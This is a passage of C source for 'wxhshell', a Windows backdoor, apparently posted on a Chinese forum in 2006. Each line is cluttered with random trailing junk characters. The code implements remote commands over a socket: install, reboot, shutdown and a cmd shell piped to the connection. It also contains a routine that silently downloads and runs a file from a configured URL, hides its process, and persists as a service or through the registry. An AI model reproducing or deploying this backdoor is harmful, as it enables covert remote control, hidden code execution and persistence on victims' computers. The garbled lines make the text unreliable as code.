  H*Tzw,f~ v  
  // 帮助 Q89fXi0Ivb  
  case '?': { ih-J{1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); HI7w@V8Ed  
    break; +QNsI2t;r  
  } nJ h)iQu  
  // 安装 a |#TnSk  
  case 'i': { /36gf  
    if(Install()) :kFPPx?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R3%%;`c=  
    else U7Oa 13Qz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M.+h3<%^  
    break; cQ |Q-S  
    } 5XV|*O;  
  // 卸载 -Aojk8tc  
  case 'r': { Lv#0-+]$Bt  
    if(Uninstall()) e;g7Ek3n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @)U;hk)j;  
    else b~r:<:;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ft?eqDS1  
    break; HLOr Dlj7  
    } sC0u4w>Y  
  // 显示 wxhshell 所在路径 `][vaLd`Q  
  case 'p': { I]hjv  
    char svExeFile[MAX_PATH]; Wf^ sl  
    strcpy(svExeFile,"\n\r"); V0BT./ B\<  
      strcat(svExeFile,ExeFile); 8i5S }  
        send(wsh,svExeFile,strlen(svExeFile),0); KIp^| k7>  
    break; zXD/hM  
    } 3!$+N\ #w  
  // 重启 eL~3CAV{  
  case 'b': { 8d_J9Ho  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e^oGiL ~  
    if(Boot(REBOOT)) S~)`{ \  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8|^&~Rl4  
    else { ;!G#Y Oe  
    closesocket(wsh); M[~{!0Uz g  
    ExitThread(0); ?dbSm3  
    } NU3TXO  
    break; 1YQYZ^11  
    } Arm'0)B>  
  // 关机  %S%IW  
  case 'd': { (qvH=VTwP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2x9.>nwhb  
    if(Boot(SHUTDOWN)) 2Z%n "z68  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ xTpW  
    else { A]TEs)#*7)  
    closesocket(wsh); /]^Y\U^  
    ExitThread(0); }Nd1'BVf  
    } df$.gP  
    break; ;N?(R\* 8  
    } s .<.6t:G4  
  // 获取shell ]WYV  
  case 's': { 9 :Oz-b  
    CmdShell(wsh); pZ}B/j  
    closesocket(wsh); Ln2FG4{  
    ExitThread(0); / Ws>;0  
    break; z=) m6\  
  } zWhj >Za  
  // 退出 A&)2m  
  case 'x': { \*=wm$p&*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `YC7+`q  
    CloseIt(wsh); :;.^r,QAI  
    break; 8-NycG&)  
    } *U,J Q  
  // 离开 IHdA2d?.]  
  case 'q': { z4Zm%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E& i (T2c  
    closesocket(wsh); |(Mxbprz  
    WSACleanup(); tiE|%jOzt  
    exit(1); cI'n[G  
    break; h{iuk3G`h6  
        } 9D+k71"+  
  } OcO/wA(&{  
  } l[c '%M|N  
't}\U&L.{  
  // 提示信息 p|.5;)%|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ofV0L  
} wR@>U.XT@  
  } -yBKA]"<I  
ioD8-  
  return; <+g77NL  
} cJaA*sg  
Lm~<BBp.  
// shell模块句柄 fMg9h9U  
int CmdShell(SOCKET sock) 0(wu  
{ =Q40]>bpx  
STARTUPINFO si; sdZ$3oE.  
ZeroMemory(&si,sizeof(si)); sFz0:SqhE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JkWhYP}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3\@2!:>  
PROCESS_INFORMATION ProcessInfo; 6!"wiM"]  
char cmdline[]="cmd"; 0>Snps3*Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }+n|0xK  
  return 0; 5m 0\ls\  
} wK-VA$;:  
}6%XiP|  
// 自身启动模式 @d0f+9d  
int StartFromService(void) $ ubU"  
{ xyL)'C  
typedef struct )1 T2u  
{ rgzra"u)  
  DWORD ExitStatus; JkJ @bh Eu  
  DWORD PebBaseAddress; 5OI.Ka  
  DWORD AffinityMask; W:]2T p  
  DWORD BasePriority; ?I6rW JcQ6  
  ULONG UniqueProcessId; !2KQi=Ng  
  ULONG InheritedFromUniqueProcessId; oYkd%N9P  
}   PROCESS_BASIC_INFORMATION; -i:WA^yKgw  
"a)6g0gw  
PROCNTQSIP NtQueryInformationProcess; z;>$["t]6  
uVn"L:_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; # -luE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |ZH(Z}m  
+_7a/3kh  
  HANDLE             hProcess; 1z8"Gk6  
  PROCESS_BASIC_INFORMATION pbi; 7x6 M]1F  
Jx.f DVJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *yRsFC{,  
  if(NULL == hInst ) return 0; I@KM2 KMN  
ae sk.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gQ{ #C'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6h>#;M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U S ALoe  
%LMpErZO  
  if (!NtQueryInformationProcess) return 0; |&=-Nm  
#-;W|ib%z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6]?%1HSi  
  if(!hProcess) return 0; rQimQ|+  
cpjwc@UMe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M4C8K{}  
UUV5uDe>i  
  CloseHandle(hProcess); WY!\^| ,  
[nO3%7t@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $v@$C4  
if(hProcess==NULL) return 0; (kLaXayn  
$z%(He  
HMODULE hMod; {1Ra |,;  
char procName[255]; [;z\bV<S  
unsigned long cbNeeded; src9EeiV  
"@nH;Xlq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Zt!#KSF7%  
Da(k>vR@4  
  CloseHandle(hProcess); Qfn:5B]tI  
] ]U)wg  
if(strstr(procName,"services")) return 1; // 以服务启动 ynIC (t  
G JRl{Y  
  return 0; // 注册表启动 r1r$y2v~  
} U80=f2  
fY00  
// 主模块 /qIQE&V-  
int StartWxhshell(LPSTR lpCmdLine) E#KZZ lbx  
{ Mr)t>4  
  SOCKET wsl; dS6 $  
BOOL val=TRUE; .2E/(VM  
  int port=0; "'z}oS  
  struct sockaddr_in door; i=xh;yb|  
u4Nh_x8\Nr  
  if(wscfg.ws_autoins) Install(); e(8hSVcl4  
GI]\  
port=atoi(lpCmdLine); 'y!qrmMRr  
?,7!kTRH  
if(port<=0) port=wscfg.ws_port; S-mpob)  
dH5*%  
  WSADATA data; oJNQdW[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZRYlm$C  
LhKbZ oPp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   " 4#&tNQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yCR8c,'8  
  door.sin_family = AF_INET; 4u*n7di$9d  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tvf.K+  
  door.sin_port = htons(port); z59;Qk  
G~C-tAB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U}:+Hz9  
closesocket(wsl); xGr{ad.N  
return 1; p#w8$Qjp  
} TU)Pi.Aa  
%6@)fRw  
  if(listen(wsl,2) == INVALID_SOCKET) { _)<5c!  
closesocket(wsl); HaL'/V~  
return 1; Y?1T XsvF  
} c.1gQy$}|  
  Wxhshell(wsl); CvRCcSJM\2  
  WSACleanup(); HOu$14g  
>QJDO ]~V  
return 0; [4C_iaE  
1P*GIt2L  
}  nm`( ;<W  
L"vk ^>E6  
// 以NT服务方式启动 {q$U\y%Rq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0sSBwG  
{ J V}7c$_  
DWORD   status = 0; ORKJy )*"  
  DWORD   specificError = 0xfffffff; Mu:zWLM*M  
; Yc\O:Qq  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X} V]3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~X2 # z |  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KXx;~HtO  
  serviceStatus.dwWin32ExitCode     = 0;  * ;Q#UH  
  serviceStatus.dwServiceSpecificExitCode = 0; g,*fpk  
  serviceStatus.dwCheckPoint       = 0; um]N]cCD`  
  serviceStatus.dwWaitHint       = 0; =>>Dnp  
/QL<>g  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3ONWu  
  if (hServiceStatusHandle==0) return;  h8p{  
fh_:ung  
status = GetLastError(); )40YA\V  
  if (status!=NO_ERROR) ()8=U_BFz  
{ i)cG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v@2?X4n  
    serviceStatus.dwCheckPoint       = 0; &q4~WRnzJk  
    serviceStatus.dwWaitHint       = 0; SK/}bZ;f  
    serviceStatus.dwWin32ExitCode     = status; NI:OL  
    serviceStatus.dwServiceSpecificExitCode = specificError; MwD+'5   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vm*9xs  
    return; aB G*  
  } .ozBa778u  
{ ~{D(k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZA_~o#0%  
  serviceStatus.dwCheckPoint       = 0; cbou1Ei   
  serviceStatus.dwWaitHint       = 0; {hO|{vz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Cu$`-b^y  
} 26_PFHQu4  
{X pjm6a7  
// 处理NT服务事件,比如:启动、停止 R. ryy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zYPvpZV/  
{ gi@&Mr)fS  
switch(fdwControl) EG=U](8T  
{ 9p02K@wkD  
case SERVICE_CONTROL_STOP: H lFVc  
  serviceStatus.dwWin32ExitCode = 0; *"/BD=INv}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; LWM& k#i  
  serviceStatus.dwCheckPoint   = 0; \q-["W34  
  serviceStatus.dwWaitHint     = 0; |SJ%Myy  
  { rA_r$X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .$G^c   
  } kmfz.:j{  
  return; /xA`VyHO  
case SERVICE_CONTROL_PAUSE: {;UBW7{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =o"sBVj  
  break; mp]UUpt  
case SERVICE_CONTROL_CONTINUE: gd31ds!G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |>I4(''}  
  break; _{i- .;K  
case SERVICE_CONTROL_INTERROGATE: xdsF! Zb  
  break; .W-=VzWX  
}; !G ~\9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c%n%,R>  
} b{e|~v6&  
t9 id^  
// 标准应用程序主函数 }<P%W~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zgpv I~Ck  
{ c*> SZ'T\  
a)L=+Z  
// 获取操作系统版本 v".u#G'u  
OsIsNt=GetOsVer(); v[ y|E;B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9c@\-Z'  
Y2p~chx9  
  // 从命令行安装 KI<Vvc m  
  if(strpbrk(lpCmdLine,"iI")) Install(); T^ah'WmNw  
j~9,Ct  
  // 下载执行文件 {[B`q  
if(wscfg.ws_downexe) { TH}+'m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sh5SOYLz  
  WinExec(wscfg.ws_filenam,SW_HIDE); }"chm=b  
} J 9k~cz  
/`VtW$9-  
if(!OsIsNt) { t3$+;K(  
// 如果时win9x,隐藏进程并且设置为注册表启动 8|#p D4e  
HideProc(); EabZ7zFoN  
StartWxhshell(lpCmdLine); R_DZJV O  
} I:#Es.  
else b<rJ@1qtJ  
  if(StartFromService()) m&#a M8:\  
  // 以服务方式启动 s*pgR=dZZ  
  StartServiceCtrlDispatcher(DispatchTable); AJH-V 6  
else {YgB?kt5  
  // 普通方式启动 'roZ:NE  
  StartWxhshell(lpCmdLine); wq&TU'O  
lN^} qg><  
return 0; 5zBsulRt  
}
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只看该作者 1 发表于: 2006-10-10
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